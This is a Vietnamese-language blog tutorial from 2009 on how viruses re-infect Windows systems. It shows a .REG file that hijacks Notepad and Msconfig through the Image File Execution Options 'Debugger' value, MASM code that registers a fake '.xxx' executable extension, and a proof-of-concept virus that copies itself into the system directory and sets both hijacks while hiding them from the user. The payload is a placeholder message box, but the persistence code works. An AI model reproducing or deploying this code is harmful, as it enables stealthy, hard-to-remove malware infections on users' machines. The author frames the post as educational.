Trao đổi với tôi

http://www.buidao.com

6/14/09

[Virus] Vx re-infect

Vx re-infect.

Author: Benina (2009)

Lời nói đầu: Bài viết này là sự tổng hợp các kỹ thuật riêng lẻ, mà tôi lượm lặt trên mạng. Không có gì cao siêu cả. Mục đích chính là để học tập và làm rõ các vấn đề mà virus gây ra. Tác giả ko chịu bất kỳ trách nhiệm nào nếu ai sử dụng các kiến thức này để phá họai.

Virus hiện đại có tính “lì lợm”. Đó là tính chất diệt hòai ko hết. Bám vào hệ thống như đỉa đói. Các trình AV hiện tại thường diệt không hết được mầm móng của virus. Diệt xong rồi nhưng vẫn tái lây nhiễm lại. Như ta thấy, virus hiện đại ko còn lây nhiễm cục bộ file như những thập niên trước, mà nó lây nhiễm tòan hệ thống, rất khó diệt hết được mầm móng.

Virus lúc trước đây thường có tính lén lút. Nhưng virus bây giờ có thêm tính thách thức. Nó chạy hùng hục trên hệ thống, công khai với AVer. Phải nói rằng virus ngày nay rất hung hăng và dữ tợn. Đây là tính chất côn đồ giang hồ thứ thiệt.

Trước đây tôi có viết một bài về tính tái lây nhiễm (re-infect) của virus đó là bài “Vx scheduled Tasks”. Hôm nay tôi sẽ trình bày thêm một khả năng tái lây nhiễm nữa của virus. Cụ thể như sau:

Bài viết này có hai vấn đề chính ta cần biết:

-Tính năng virus chuyển hướng thực thi một chương trình : Tức là nếu user chạy trình Notepad thì thay vì thực thi chương trình Notepad bình thường nhưng HĐH lại thực thi file virus. Tính năng này có nhiều cách thực hiện. Cách cổ điển là tiêm chích code virus vào file Notepad . Khi thực thi thì thực thi luôn code virus tiêm chích. Nhưng bài viết này sẽ trình bày một cách khác.

-Tính năng ẩn náo tỉnh trong hệ thống: Như bài viết “Vx scheduled Tasks” tôi đã đề cập. Phần code virus ẩn náo tỉnh trong hệ thống là file virus đã được đổi đuôi exe thành đuôi file hình ảnh .jgp. Nhưng trong bài này chúng ta sẽ đề cập đến một cách khác mà tôi có lần đã viết trên diễn đàn virusvn.com . Đó là làm cho hệ thống thực thi một file có đuôi .xxx như là một file thực thi .exe. Đó là kỹ thuật fake virus

A.Chuyển hướng thực thi một chương trình :

Phần này tôi tham khảo bài viết của bạn Đòan Văn Vũ. Các bạn đọc nhé , một phát hiện rất hay:

1 cách phá hoại với Image File Execution Options

Cái này xem ra cũng nguy hiểm phết. Ai bít thì ko thành vấn đề, ai ko bít mà gặp phải tình trạng này là cả 1 vấn đề nan giải nhiều khi phải ghost lại máy mới trị được kiểu phá hoại này
Giờ ta tiến hành khám phá xem sao, vào registry và duyệt đến key (khóa) sau:
[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options]
Có thể là WindowsNT hoặc Windows tùy máy, miễn sao cái nào phía dưới có CurrentVersion
Click phải vào Image File Execution Options -> New -> Key -> Notepad.exe
Click phải vào Notepad.exe -> New -> String value -> đặt tên là Debugger
Double click vào Debugger và nhập calc.exe
Xem hình sẽ dễ hiểu hơn (nhớ xem dưới thanh status bar nha)

Bây giờ thử chạy chuong trinh notepad thử xem (chạy bằng bất cứ mọi giá luôn )

Giải thích:
Nói 1 cách đơn giản nhất key notepad.exe này nghĩa là khi ta chạy file nào có tên là notepad.exe (bằng bất cứ cái gì trực tiếp hay gián tiếp) thì thật ra nó sẽ chạy file do ta chỉ định trong mục Debugger (ở đây là calc.exe)
Bây giờ ta thử đổi tên 1 chương trình nào đó thành notepad.exe và run thử xem
Tạo file .REG với nội dung sau thử xem

<-------------- BEGIN ---------------------------->
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Msconfig.exe]
"Debugger"="C:\\windows\\system32\\calc.exe"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe]
"Debugger"="freecel.exe"
<-------------- END ---------------------------->

Đã test thử trên Windows xpsp3

Đoàn Văn Vũ

B.Ẩn náo tỉnh trong hệ thống:

Nội dụng chính của tính năng này là copy chính file virus thành 1 file có đuôi nào đó có thể thực thi đuợc nhằm tránh các ánh mắt tò mò của người dùng và AVer. Đây là đọan tut hướng dẫn cụ thể kỹ thuật này:

Bài viết này rất đơn giản về bảo mật. Đó là kỹ thuật fake exe.

Trên 4rm virusvn có bạn hỏi làm sao chạy được file ko phải có đuôi là file thực thi exe (ví dụ .xxx) như một file exe.

Đây là cách rất đơn giản về lập trình registry.

Đầu tiên chúng ta query key HKCR\.exe các subkey và giá trị của nó vào các biến tạm.

Sau đó ta set một key cho file có đuôi .xxx

Đây là file exeplus.asm

.386

.model flat,stdcall

option casemap:none

include exeplus.inc

.data

szTitle db "Fake exe",0

MsgBoxText db "Fake exe registered!",0

szDefaultEXE db 512 dup(0)

szContextType db 512 dup(0)

szDefaultPer db 512 dup(0)

pKeySub dd 0

.code

start:

invoke GetRegString, addr szDefaultEXE,

HKEY_CLASSES_ROOT,

chr$(".exe\"),

NULL

invoke GetRegString, addr szContextType,

HKEY_CLASSES_ROOT,

chr$(".exe\"),

chr$("Content Type")

invoke GetRegString, addr szDefaultPer,

HKEY_CLASSES_ROOT,

chr$(".exe\PersistentHandler\"),

NULL

;------------------------------------------------------

invoke SetRegString,

HKEY_CLASSES_ROOT,

chr$(".xxx\"),

NULL,

addr szDefaultEXE

invoke SetRegString,

HKEY_CLASSES_ROOT,

chr$(".xxx\"),

chr$("Content Type"),

addr szContextType

invoke SetRegString,

HKEY_CLASSES_ROOT,

chr$(".xxx\PersistentHandler\"),

NULL,

addr szDefaultPer

invoke MessageBox, NULL,addr MsgBoxText, addr szTitle, MB_OK

invoke ExitProcess,NULL

end start

Đây là file exeplus.inc

include \masm32\include\windows.inc

include \masm32\include\user32.inc

include \masm32\include\kernel32.inc

include \masm32\include\shell32.inc

include \masm32\include\advapi32.inc

include \masm32\include\gdi32.inc

include \masm32\include\comctl32.inc

include \masm32\include\comdlg32.inc

include \masm32\include\masm32.inc

include \masm32\include\ole32.inc

include \masm32\macros\macros.asm

includelib \masm32\lib\user32.lib

includelib \masm32\lib\kernel32.lib

includelib \masm32\lib\shell32.lib

includelib \masm32\lib\advapi32.lib

includelib \masm32\lib\gdi32.lib

includelib \masm32\lib\comctl32.lib

includelib \masm32\lib\comdlg32.lib

includelib \masm32\lib\ole32.lib

includelib \masm32\lib\masm32.lib

include RegistryASM.asm

C. Một ví dụ :

Không gì cụ thể hơn bằng cách đưa ra một ví dụ để minh họa. Đây là ví dụ chương trình virus nó có các chức năng :

1/+Kiểm tra xem file đang thực thi là file .exe hay file .xxx . Nếu là file .exe tức là virus đang chạy file gốc. Lúc này cần fải cài đặt tính chuyển hướng thực thi Notepad và ẩn náo tỉnh cho virus như những gì đề cập trong lý thuyết ở trên.

invoke GetModuleFileName,NULL,addr szPath, MAX_PATH

invoke InString,1,addr szPath,addr szXXX

;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

.if eax==0

invoke MessageBox, NULL,chr$("Running file .exe"), addr szTitle, MB_OK

;////////////////////////////////////////////////////////////////

; Copy origin file exe to faked file xxx into system dir

;///////////////////////////////////////////////////////////////

invoke GetSystemDirectory,addr szSystemdir,MAX_PATH

invoke lstrcat,addr szSystemdir,addr szXXX

invoke MessageBox, NULL,chr$("Now,copy file exe to xxx"), addr szTitle, MB_OK

invoke CopyFile,addr szPath,addr szSystemdir,FALSE

;/////////////////////////////////////////////////////////////

; Set key .xxx

;////////////////////////////////////////////////////////////

invoke GetRegString, addr szDefaultEXE,

HKEY_CLASSES_ROOT,

chr$(".exe\"),

NULL

invoke GetRegString, addr szContextType,

HKEY_CLASSES_ROOT,

chr$(".exe\"),

chr$("Content Type")

invoke GetRegString, addr szDefaultPer,

HKEY_CLASSES_ROOT,

chr$(".exe\PersistentHandler\"),

NULL

;------------------------------------------------------

invoke SetRegString,

HKEY_CLASSES_ROOT,

chr$(".xxx\"),

NULL,

addr szDefaultEXE

invoke SetRegString,

HKEY_CLASSES_ROOT,

chr$(".xxx\"),

chr$("Content Type"),

addr szContextType

invoke SetRegString,

HKEY_CLASSES_ROOT,

chr$(".xxx\PersistentHandler\"),

NULL,

addr szDefaultPer

;/////////////////////////////////////////////////////////////

; Set key direction Notepad

;////////////////////////////////////////////////////////////

invoke SetRegString, HKEY_LOCAL_MACHINE,

chr$("Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Notepad.exe\"),

chr$("Debugger"),

chr$("exeplus.xxx")

2/+Nếu file đang thực thi là file .xxx, tức là user đang cho thực thi Notepad. Vậy các tính năng chuyển huớng Notepad và ẩn náo tỉnh đã cài đặt. Bây giờ để user ko biết virus đang chuyển hướng chương trình, chúng ta fải bật Notepad lên bằng hàm API WinExe. Muốn vậy, đầu tiên chúng ta fải delete key Notepad.exe; sau đó thực thi Notepad bằng hàm API WinExe, cuối cùng chúng ta sẽ setup lại key resgistry Notepad.exe để chuyển hướng dùng sau này.

.elseif

invoke MessageBox, NULL,chr$("Running file .xxx"), addr szTitle, MB_OK

invoke Del_Reg_Key,HKEY_LOCAL_MACHINE,chr$("Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Notepad.exe\")

invoke GetSystemDirectory,addr szSystemdir,MAX_PATH

invoke lstrcat,addr szSystemdir,chr$("\Notepad.exe")

invoke WinExec,addr szSystemdir,SW_SHOW

invoke SetRegString, HKEY_LOCAL_MACHINE,

chr$("Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Notepad.exe\"),

chr$("Debugger"),

chr$("exeplus.xxx")

;////////////////////////////////////////////////////////////

3/+Cuối cùng trong cả hai trường hợp trên chúng ta sẽ sử dụng một thủ tục CheckMutex để kiểm tra chương trình virus có đang chạythường trú trong memory không. Nếu có thì thóat. Nếu không thì cho chạy thườn trú. Để thực hiện được nhiệm vụ này ta sử dụng Mutex. Đây là bài viết của Fire Dragon trên diễn đàn virusvn.com mời các bạn tham khảo.

Sử dụng Mutex để kiểm tra chương trình đã được chạy hay chưa?

Nếu bạn để ý sẽ thấy một chương trình bình thường ví dụ: IE, Firefox ... khi bạn double click nhiều lần thì chương trình sẽ được chạy nhiều lần với các phiên bản khác nhau.
Tuy nhiên có rất nhiều chương trình khác thì không như vậy. Ví dụ: Windows Media.

Nhu cầu kiểm tra xem chương trình của mình đã được thực thi hay chưa là thực tế.
Đây là một kỹ thuật rất cơ bản trong lập trình, và dĩ nhiên là cả trong lĩnh vực virus nữa.

Để làm được điều này bạn sử dụng cơ chế Mutex. Rất đơn giản ta chỉ cần sử dụng một đoạn code nhỏ như sau:

Code C++:

// Kiem tra Mutex de biet chuong trinh da duoc chay hay chua
if ( !CreateMutex( NULL, true, "My Mutext" ))
ExitProcess(0); // Neu da duoc chay thi thoat
if ( GetLastError() == ERROR_ALREADY_EXISTS )
ExitProcess(0); // Co loi~ -> thoat

Ngoài Mutex bạn còn có thể sử dụng cơ chế Event.

Ứng dụng trong lĩnh vực virus:
Sau khi revert virus biết được nó sử dụng Mutex hoặc Event nào ta có thể:
- Lợi dụng để kiểm tra xem virus đã được thực thi trong máy hay chưa.
- Tạo một chương trình, cho khởi động sớm hơn virus. Ctrình đó có nhiệm vụ tạo Mutex hoặc Event giống virus. Khi đó virus sẽ không được nạp lên. => Bạn có thể tiêu diệt dễ dàng.

PHẦN CODE MASM

Sau khi đọc xong bài này , Benina đã chuyển đọan code trên qua masm như sau:

;----------------------------------------------------------------------

invoke CreateMutex, NULL, 1, addr szNameMutex

.if eax!=NULL

invoke GetLastError

.if eax==ERROR_ALREADY_EXISTS

invoke MessageBox, NULL, addr szMgMutexExisted, NULL,MB_OK

invoke ExitProcess,0

.endif

.elseif

invoke MessageBox, NULL, addr szMgFails, NULL,MB_OK

invoke ExitProcess,0

.endif

;----------------------------------------------------------------------

Đây là thủ tục CheckMutex trong ví dụ của chúng ta:

CheckMutex proc

;-------------------------------------------------------------------------

invoke CreateMutex, NULL, 1, addr szNameMutex

.if eax!=NULL

invoke GetLastError

.if eax==ERROR_ALREADY_EXISTS

invoke MessageBox, NULL, chr$("The named mutex object existed"), NULL,MB_OK

invoke ExitProcess,0

.endif

.elseif

invoke MessageBox, NULL, chr$("CreateMutex is Failed, Exit program!"), NULL,MB_OK

invoke ExitProcess,0

.endif

;--------------------------------------------------------------------------

;Code virus here

;---------------------------------------------------------------------------

invoke MessageBox, NULL, chr$("Code virus running"), NULL,MB_OK

ret

CheckMutex endp

Bây giờ chúng ta cho chạy thử xem sao. Nếu sau khi hệ thống bị infect, chúng ta Dclick trên bất cứ file .txt nào để đọc file text thì virus sẽ thực thi ngay. Cực kỳ nguy hiểm phải ko các bạn.

D. Lời kết:

Đây là kỹ thuật nguy hiểm, nhưng cũng dễ phát hiện. Mà hình như chưa có con virus nào làm. Mong rằng ko có trong tương lai. Mô Phật!.

Source code tôi có kèm theo tut này. Các bạn có thể tham khảo và sử dụng để học tập. Nếu các bạn dùng các kiến thức trên để phá họai thì các bạn hòan tòan chịu trách nhiệm mà đừng réo tác giả nhe.

Chúc các bạn vui vẽ trong học tập.

Benina